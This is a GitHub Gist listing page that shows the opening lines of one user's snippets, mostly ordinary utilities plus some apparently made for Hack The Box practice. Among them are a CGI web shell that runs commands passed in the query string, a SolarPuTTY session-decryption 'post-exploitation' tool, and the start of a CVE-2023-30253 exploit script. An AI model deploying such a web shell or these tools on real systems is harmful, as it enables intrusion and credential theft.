Skip to content

Instantly share code, notes, and snippets.

@xHacka
xHacka / local_dns_server.md
Last active November 24, 2024 10:49
Local DNS server

Install DNS server

sudo apt install dnsmasq -y

Create script that listens to any changes to /etc/dnsmasq.d/ directory and restarts service, meaning you added/removed/updated query.

└─# cat /usr/local/bin/watch_dns.sh
#!/bin/bash
@xHacka
xHacka / ColorCodeTableExtension.gs
Last active November 27, 2024 09:50
Google Sheets AppsScript code, can be used to colorify table for analysis (~splunk vibes).
function colorCodeTable() {
const sheet = SpreadsheetApp.getActiveSpreadsheet().getActiveSheet();
const range = sheet.getDataRange(); // Gets the range with data
const values = range.getValues();
const numRows = values.length;
const numCols = values[0].length;
// Prepare arrays for batch updates
const bgColors = new Array(numRows).fill().map(() => new Array(numCols).fill(null));
@xHacka
xHacka / SolarPuttyDecrypt.py
Last active January 2, 2025 05:54
SolarPuTTYDecrypt: A post-exploitation tool to decrypt SolarPutty's sessions files, rewritten in Python. Original Author: Paolo Stagno (@Void_Sec - voidsec.com)
import base64
import sys
from Crypto.Cipher import DES3
from Crypto.Protocol.KDF import PBKDF2
def decrypt(passphrase, ciphertext):
data = ''
try:
# Decode the base64 encoded ciphertext
array = base64.b64decode(ciphertext)
@xHacka
xHacka / brute_force_affine.py
Created September 13, 2024 16:44
Affine bruteforce script
def affine_decrypt(ciphertext, a, b):
m = 256 # Byte range (0-255)
a_inv = pow(a, -1, m)
return bytes([(a_inv * (byte - b)) % m for byte in ciphertext])
def brute_force_affine(ciphertext):
m = 256 # Max value
for a in range(1, m):
try:
for b in range(m):
@xHacka
xHacka / cmd.cgi
Created September 7, 2024 16:40
Simplest CGI reverse shell based on (ba)sh
#!/bin/sh
echo "Content-type: text/plain"
echo ""
cmd="$QUERY_STRING"
if [ -n "$cmd" ]; then
echo "$($cmd 2>&1)"
else
echo "No command provided."
@xHacka
xHacka / textToImageOneLiner.py
Created August 16, 2024 18:26
Text to image, for certain HTB box which I forgot name of...
from PIL import Image, ImageDraw, ImageFont
def create_text_image(text, font_path=None, background_color=None, font_size=24, padding=20, fill_color=None):
font_path = font_path or "arial.ttf"
background_color = background_color or (255, 255, 255) # White
fill_color = fill_color or (0, 0, 0) # Black
font = ImageFont.truetype(font_path, font_size)
text_width = int(font.getlength(text))
@xHacka
xHacka / unmerge_images.py
Created July 19, 2024 07:22
Unmerge Vertically Merged Images
from PIL import Image
from pathlib import Path
def unmerge_images(input_image_path, output_folder, num_parts):
merged_image = Image.open(input_image_path)
width, height = merged_image.size
part_height = height // num_parts
for i in range(num_parts):
box = (0, i * part_height, width, (i + 1) * part_height)
import xml.etree.ElementTree as ET
import csv
from tqdm import tqdm
import sys
def xml_to_csv(xml_file, csv_file):
context = ET.iterparse(xml_file, events=("start", "end"))
context = iter(context)
event, root = next(context) # Get the root element
@xHacka
xHacka / CVE-2023-30253.py
Created May 28, 2024 10:27
CVE-2023-30253 PoC script for certail HTB box
from datetime import datetime
from bs4 import BeautifulSoup as BS
import requests
import random
import string
class Routes:
BASE = 'http://sub.domain.htb'
LOGIN = BASE + '/index.php'
@xHacka
xHacka / .zshrc
Last active August 1, 2024 09:38
Backup of my zshrc if things go sideways o7
# ~/.zshrc file for zsh interactive shells.
# see /usr/share/doc/zsh/examples/zshrc for examples
setopt autocd # change directory just by typing its name
#setopt correct # auto correct mistakes
setopt interactivecomments # allow comments in interactive mode
setopt magicequalsubst # enable filename expansion for arguments of the form ‘anything=expression’
setopt nonomatch # hide error message if there is no match for the pattern
setopt notify # report the status of background jobs immediately
setopt numericglobsort # sort filenames numerically when it makes sense